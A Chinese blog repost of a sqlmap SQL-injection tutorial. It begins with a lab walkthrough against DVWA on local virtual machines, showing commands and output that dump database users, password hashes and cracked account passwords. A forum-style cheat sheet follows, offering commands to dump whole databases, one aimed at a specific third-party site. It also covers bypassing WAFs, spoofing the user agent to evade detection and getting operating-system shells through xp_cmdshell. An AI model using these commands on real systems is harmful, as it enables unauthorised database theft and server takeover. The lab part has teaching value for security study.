欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  科技

SQL注入之SQLmap入门 (注入检测工具)

程序员文章站 2022-03-24 21:50:40
SQL注入之SQLmap入门 (注入检测工具)...

什么是sqlmap?

sqlmap是一款用来检测与利用sql注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。

读者可以通过位于sourceforge的官方网站下载sqlmap源码:

为了方便大家使用特提供一份无需安装python环境的sqlmap:

sqlmap的作者是谁?

bernardo dameleassumpcao guimaraes (@inquisb),读者可以通过与他取得联系,以及miroslav stampar (@stamparm)读者可以通过与他联系。

同时读者也可以通过dev@sqlmap.org与sqlmap的所有开发者联系。

执行sqlmap的命令是什么?

进入sqlmap.py所在的目录,执行以下命令:

#python sqlmap.py -h

(译注:选项列表太长了,而且与最新版本有些差异,所以这里不再列出,请读者下载最新版在自己机器上看吧)

sqlmap命令选项被归类为目标(target)选项、请求(request)选项、优化、注入、检测、技巧(techniques)、指纹、枚举等。

如何使用sqlmap:

为方便演示,我们创建两个虚拟机:

1、受害者机器, windows     xp操作系统,运行一个web服务器,同时跑着一个包含漏洞的web应用(dvwa)。

2、攻击器机器,使用ubuntu     12.04,包含sqlmap程序。

本次实验的目的:使用sqlmap得到以下信息:

3、枚举mysql用户名与密码。

4、枚举所有数据库。

5、枚举指定数据库的数据表。

6、枚举指定数据表中的所有用户名与密码。

使用sqlmap之前我们得到需要当前会话cookies等信息,用来在渗透过程中维持连接状态,这里使用firefox中名为“tamperdata”的add-on获取。

SQL注入之SQLmap入门 (注入检测工具)

当前得到的cookie为“security=high;phpsessid=57p5g7f32b3ffv8l45qppudqn3′。

为方便演示,我们将dvwa安全等级设置为low:

SQL注入之SQLmap入门 (注入检测工具)

接下来我们进入页面的“sql injection”部分,输入任意值并提交。可以看到get请求的id参数如下:

“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&submit=submit#”

因此该页面就是我们的目标页面。

以下命令可以用来检索当前数据库和当前用户:

“./sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&submit=submit” –cookie=”phpsessid=57p5g7f32b3ffv8l45qppudqn3;security=low” -b –current-db –current-user”

使用选项:

1、–cookie : 设置我们的cookie值“将dvwa安全等级从high设置为low”

2、-u : 指定目标url

3、-b : 获取dbms banner

4、–current-db : 获取当前数据库

5、–current-user:获取当前用户

结果如下:

SQL注入之SQLmap入门 (注入检测工具)

可以看到结果如下:

dbms : mysqlversion 5.0
os versionubuntu 12.04
current user:root
current db :dvwa

以下命令用来枚举所有的dbms用户和密码hash,在以后更进一步的攻击中可以对密码hash进行破解:

“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&submit=submit” --cookie=”phpsessid=57p5g7f32b3ffv8l45qppudqn3;security=low” --string=”surname” --users --password”

使用选项:

1、–string : 当查询可用时用来匹配页面中的字符串

2、–users : 枚举dbms用户

3、–password : 枚举dbms用户密码hash

SQL注入之SQLmap入门 (注入检测工具)

结果如下:

databasemanagement system users [142]:
[*] ”@’kingasmk’
[*]”@’localhost’
[*]‘debian-sys-maint’@'localhost’
[*]‘phpmyadmin’@'localhost’
[*]‘root’@’127.0.0.1′
[*] ‘root’@'::1′
[*]‘root’@'kingasmk’
[*]‘root’@'localhost’

数据库管理系统用户和密码hash:

[*]debian-sys-maint [1]:
password hash:*c30441e06530498bc86019bf3211b94b3bab295a
[*] phpmyadmin[1]:
password hash:*c30441e06530498bc86019bf3211b94b3bab295a
[*] root [4]:
password hash: *c30441e06530498bc86019bf3211b94b3bab295a
password hash:*c30441e06530498bc86019bf3211b94b3bab295a
password hash:*c30441e06530498bc86019bf3211b94b3bab295a
password hash:*c30441e06530498bc86019bf3211b94b3bab295a

读者可以使用cain&abel、john&ripper等工具将密码hash破解为明文。以下命令会枚举系统中所有的数据库schema:

“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&submit=submit”
--cookie=”phpsessid=57p5g7f32b3ffv8l45qppudqn3;security=low” --dbs”

使用选项:

  • –dbs: 枚举dbms中的数据库

SQL注入之SQLmap入门 (注入检测工具)

结果如下:

availabledatabases [5]:
[*]dvwa
[*]information_schema
[*]mysql
[*]performance_schema
[*]phpmyadmin

下面我们尝试枚举dvwa数据表,执行以下命令:

“sqlmap.py-u “http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&submit=submit” --cookie=”phpsessid=57p5g7f32b3ffv8l45qppudqn3;security=low” -d dvwa --tables”

使用选项:

1、-d : 要枚举的dbms数据库

2、–tables     : 枚举dbms数据库中的数据表

SQL注入之SQLmap入门 (注入检测工具)

得到结果如下:

database: dvwa
[2 tables]
+————+
| guestbook |
| users |
+————+

下面获取用户表的列,命令如下:

 “sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&submit=submit” --cookie=”phpsessid=57p5g7f32b3ffv8l45qppudqn3;security=low” -d dvwa -t users --columns”

使用选项:

  • -t : 要枚举的dbms数据库表

  • –columns : 枚举dbms数据库表中的所有列

SQL注入之SQLmap入门 (注入检测工具)

结果如下:

database: dvwa
table: users
[6 columns]
+————+————-+
| column | type|
+————+————-+
| avatar |varchar(70) |
| first_name |varchar(15) |
| last_name |varchar(15) |
| password |varchar(32) |
| user |varchar(15) |
| user_id |int(6) |
+————+————-+

如上所示,以上为我们感兴趣的列,表示用户名与密码等。下面将每一列的内容提取出来。执行以下命令,将用户与密码表中的所有用户名与密码dump出来:

“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&submit=submit”–cookie=”phpsessid=57p5g7f32b3ffv8l45qppudqn3; security=low” -d dvwa -t users-c user,password --dump”

使用选项:

  • -t : 要枚举的dbms数据表

  • -c: 要枚举的dbms数据表中的列

  • –dump : 转储dbms数据表项

sqlmap会提问是否破解密码,按回车确认:

SQL注入之SQLmap入门 (注入检测工具)

得到所有用户名与明文密码如下:

database: dvwa
table: users
[5 entries]
+———+———+———————————————+
| user_id | user| password |
+———+———+———————————————+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99(password) |
| 2 | gordonb |e99a18c428cb38d5f260853678922e03 (abc123) |
| 3 | 1337 |8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| 4 | pablo |0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| 5 | smithy |5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+———+———+———————————————+

这时我们就可以利用admin帐户登录做任何事了。

总结:

sqlmap是一个非常强大的工具,可以用来简化操作,并自动处理sql注入检测与利用。

[via infosecinstitute]

下面小编为大家分享点实际点的:

mssql access 直接爆表.然后你懂的
bt5里面的话前面就要加python
sqlmap.py -u url --dbs //爆数据库
sqlmap.py -u url --current-db //爆当前库
sqlmap.py -u url --current-user //爆当前用户
sqlmap.py -u url --users 查看用户权限
sqlmap.py -u url --tables -d 数据库 //爆表段
sqlmap.py -u url --columns -t 表段 -d 数据库 //爆字段
sqlmap.py -u url --dump -c 字段 -t 表段 -d 数据库 //猜解
sqlmap.py -u url --dump --start=1 --stop=3 -c 字段 -t 表段 -d 数据库 //猜解1到3的字段

翻回来也可以

sqlmap.py -u url 判断
sqlmap.py -u url --is-dba -v 这是判断当前数据库的使用者是否是dba
sqlmap.py -u url --users -v 0 这句的目的是列举数据库的用户
sqlmap.py -u url --passwords -v 0 这句的目的是获取数据库用户的密码
sqlmap.py -u url --privileges -v 0 这是判断当前的权限
sqlmap.py -u url --dbs -v 0 这句的目的是将所有的数据库列出来
sqlmap.py -u url --tables -d '表' 爆表
sqlmap.py -u url --columns -t ‘表’-d ‘数据库’爆列
sqlmap.py -u url --dump -t '表' --start 1 --stop 4 -v 0 这里是查询第2到第4行的内
sqlmap.py -u url --dump -all -v 0


这儿我们将所有的库导出来,我想这就是前段时间盛传的脱裤吧,在执行这项操作的时候,会把所有的表里的内容导入到当前的一个目录下,看着清楚明了,但是花费的时间和很长。
sqlmap -u "http://www.newwide.com/newsphp?class=news&id=5&page=1&catalog_id=2" --users --password 爆用户密码

最近看到很多大牛发sqlmap的视频教程。

然后偶就屁颠屁颠滚去下了一个,然后尼玛,一连从头看到尾。。。。。。各种科普啊,看视频有点浪费时间。
各位别去被坑爹了,来个sqlmap 简易教程算了,何必浪费看视频的时间。
sqlmap 再牛逼也就是个python的脚本,脚本再牛逼也得有–help -hh
所以第一件事当然是滚去看帮助文档。
sqlmap -hh
我操。。。。。。。这么多英文,多少只*在心中奔腾,咋办,硬着头皮看呗,有些人头皮硬不了咋办,简单,来,哥教你简单的
注入分法不同,种类不同,来个简单的分类:
1.get型:sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx” 
2.post型: sqlmap -u “http://xxx.xx.xxx/xx.xxx” –data=”xxxx=xxxx&xxxx=xxx”
3.cookie类注入: sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx” –cookie=”xxx=xxx&xxx=xxx” –level=2
好,区分完毕再来后续的
需要数据库好:–dbs
得到数据库名称xxx,需要表: -d xxx –tables
得到表名xxxx,需要段:-d xxx -t xxxx –columns
得到段内有admin,password,需要值:-d xxx -t xxxx -c “admin,password” –dump
那么我们来理解一下,-d -t -c 是干吗的,当然就是知道其名称,指定使用其。
–dbs –tables –columns 是干吗的,当然就是不知道名称,列出来呗
–dump 那自然就是字面意思,类似于导出数据的行为
其实注入有了上面这几个命令,妥妥的够用了,不过还需要绕waf –tamper=”"
注入被识别出来是工具,断开咋办–user-agent=”"
再多牛逼的功能都是慢慢积累出来的,别想一口吃成胖子

好,跑数据库就是这么简单,于是呢来一个稍微有点干货的例子:
http://www.xxx.com/login.asp有post注入,我想日了,但是我不想出去拷贝post数据,很麻烦,我想让sqlmap自动跑post注入
sqlmap -u “http://www.xxx.com/login.asp” –forms
很好,上面的命令成功的帮我跑了post注入,并且找到了post的注入点jjj=123
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –dbs
于是我用上面的命令看看数据库
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –is-dba
顺便看看当前用户是不是dba
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -a 
用了上面的命令 -a能得到什么呢:自己去看帮助吧。
帮你筛选了一下,-a下面的那些命令是用来看用户,看主机,看权限的。
后来呢,我发现权限还是挺高的,同时呢,我跑出来了数据库名称kkk
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -d kkk –tables
同时我找到了网站路径,然后我就又一次找到了sqlmap的牛逼的–os-xx系列命令,可以执行系统命令,同时还发现了牛逼的xpcmdshell –os-shell
以及很多牛逼的文件操作命令–file-xx 这些命令在需要用的时候使用就是了,会给你带来意想不到的惊喜
与此同时,我发现tables里面没有我想要的东西,我也找不到合适的内容,咋办呢,心一横,我决定把所有的数据库内容跑出来自己找,于是我这么做:
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -d kkk –dump-all
然后牛逼的sqlmap就开始跑啊跑,然后紧接着我的蛋就碎了,尼玛,sqlmap一会就问你一次要不要破解密码,要不要这个,要不要那个,我和我的小朋友们都想擦你妹夫,功夫不负有心人,我又看见了一个命令 –batch 可以自动选择sqlmap默认选项
于是,我可以和我的小朋友们玩耍去了,再也不用看着sqlmap拖库了。

总结下来,帮助文档还是很重要的,多看看,总会有些收获:
为了避免各位看英文看到吐,大概总结下:
target: 字面意思,目标,那么就是确定目标的
request: 字面意思,请求,就是定义请求内容的,比如post数据,http头,cookie注入,http头污染等等
optimization:字面意思,调节性能,等等
injection: 字面意思,注入的设置内容基本在这里,比如指定注入点,指定db,指定系统,等等
detection:
基本就是用在确认注入范围,寻找注入点区域,这些
technique:
基本用在确定注入手段,以及攻击方式
fingerprint:
基本用在指纹识别,用的很少
enumeration:
枚举信息,主要用在注入中,很重要,很常用
brute force:
用来爆破,其实主要是枚举tables columns用的
user-defined function injection:
现在只有udf提权,以及指定一些自己定义的sqlmap脚本用,高端使用,求大牛指点
file system access
主要是文件读取,文件写入
operating system access 
主要用在对系统操作,例如os-shell 以及 后续的连接metasploit 实现后渗透攻击
windows registry access
基本就是注册表操作了
general
字面意思,综合的内容,一些特殊的功能实现,我在这里找到了crawl batch这些非常好用的参数
miscellaneous
目测高端应用,还没怎么用过,求大神指教
如上面总结的,大概红字就是常用的命令,剩下的不常用里面也有很多很不错,在特殊情况下适用的内容,反正本贴科普而已。
字有点多,想看的菜鸟朋友认真看下来应该会有些收获,菜鸟们如果有什么其他的奇技淫巧,还希望分享1、2 共同进步!!

相关标签: SQL注入